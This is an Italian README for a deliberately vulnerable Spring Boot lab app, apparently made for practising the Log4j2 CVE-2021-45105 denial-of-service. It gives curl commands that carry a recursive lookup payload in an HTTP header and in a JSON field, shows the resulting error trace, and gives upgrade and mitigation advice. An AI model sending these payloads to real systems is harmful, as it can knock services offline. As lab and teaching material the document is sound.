
Applicazione Spring Boot di esempio volutamente vulnerabile a Log4j2 CVE-2021-45105 per esercitarsi nello sfruttamento e comprendere il denial-of-service da ciclo infinito tramite intestazioni HTTP modificate ad arte.
Questa applicazione è basata su un'applicazione web Spring Boot vulnerabile a CVE-2021-45105
Utilizza Log4j 2.16.0

Eseguila:
Importa il progetto in un IDE Java come progetto Maven
Esegui CVEMainApplication.java come app Spring Boot.
Per GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Per richiesta POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Gli utenti di Java 8 (o successivi) devono aggiornare alla release 2.17.0.
In alternativa, è possibile mitigarlo nella configurazione:
In PatternLayout nella configurazione di logging, sostituisci Context Lookups come ${ctx:loginId} o $${ctx:loginId} con i pattern Thread Context Map (%X, %mdc o %MDC). In caso contrario, nella configurazione, rimuovi i riferimenti a Context Lookups come ${ctx:loginId} o $${ctx:loginId} se provengono da fonti esterne all'applicazione come header HTTP o input utente.